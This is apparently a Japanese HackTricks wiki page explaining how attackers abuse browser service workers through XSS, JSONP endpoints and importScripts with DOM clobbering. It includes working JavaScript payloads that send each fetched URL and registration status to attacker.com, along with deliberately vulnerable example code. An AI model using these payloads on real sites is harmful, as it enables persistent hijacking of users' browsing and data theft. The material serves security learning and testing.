サービスワーカーの悪用

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

サービスワーカーは、ブラウザによってバックグラウンドで実行されるスクリプトで、ウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を可能にし、オフラインおよびバックグラウンド処理の能力を向上させます。サービスワーカーに関する詳細情報はこちらで確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。

既存のサービスワーカーの確認

既存のサービスワーカーは、Developer ToolsApplicationタブのService Workersセクションで確認できます。別の方法として、chrome://serviceworker-internalsを訪れることで、より詳細なビューを得ることができます。

プッシュ通知

プッシュ通知の権限は、サービスワーカーが直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。権限が拒否されると、サービスワーカーが継続的な脅威をもたらす可能性が制限されます。逆に、権限を付与すると、潜在的なエクスプロイトの受信と実行を可能にすることでセキュリティリスクが増加します。

サービスワーカーを作成する攻撃

この脆弱性を悪用するためには、次のものを見つける必要があります:

  • サーバーに任意のJSファイルをアップロードする方法と、アップロードしたJSファイルのサービスワーカーを読み込むためのXSS
  • 出力を操作できる脆弱なJSONPリクエスト(任意のJSコードを使用)と、ペイロードを持つJSONPを読み込むためのXSSが必要です。このペイロードは悪意のあるサービスワーカーを読み込むものです。

次の例では、fetchイベントをリッスンし、取得した各URLを攻撃者のサーバーに送信する新しいサービスワーカーを登録するためのコードを示します(これはサーバーアップロードするか、脆弱なJSONPレスポンスを介して読み込む必要があるコードです):

javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

そして、これはワーカーを登録するためのコードです(XSSを悪用して実行できるコードです)。この場合、GETリクエストが攻撃者のサーバーに送信され、サービスワーカーの登録が成功したかどうかが通知されます:

javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

脆弱なJSONPエンドポイントを悪用する場合、var swの中に値を入れる必要があります。例えば:

javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

C2に特化したService Workersの悪用のためのShadow Workersがあり、これらの脆弱性を悪用するのに非常に役立ちます。

24時間キャッシュディレクティブは、悪意のあるまたは侵害された**サービスワーカー(SW)**の寿命を、XSS脆弱性の修正後最大24時間に制限します。オンラインクライアントの状態を前提としています。脆弱性を最小限に抑えるために、サイト運営者はSWスクリプトのTTL(Time-To-Live)を短くすることができます。開発者は、迅速な無効化のためにサービスワーカーキルスイッチを作成することも推奨されています。

DOM Clobberingを介したSWでのimportScriptsの悪用

サービスワーカーから呼び出される**importScripts関数は、異なるドメインからスクリプトをインポートすることができます。この関数が攻撃者が変更できるパラメータを使用して呼び出されると、攻撃者は自分のドメインからJSスクリプトをインポートし、XSSを取得することができます。

これはCSP保護を回避します。

脆弱なコードの例:

  • index.html
html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

DOMクラッキングを使用して

DOMクラッキングが何であるかの詳細については、次を確認してください:

Dom Clobbering

SWが**importScriptsを呼び出すために使用しているURL/ドメインがHTML要素内にある場合、DOMクラッキングを介してそれを変更することが可能であり、SWがあなたのドメインからスクリプトを読み込む**ようにできます。

この例については、参照リンクを確認してください。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする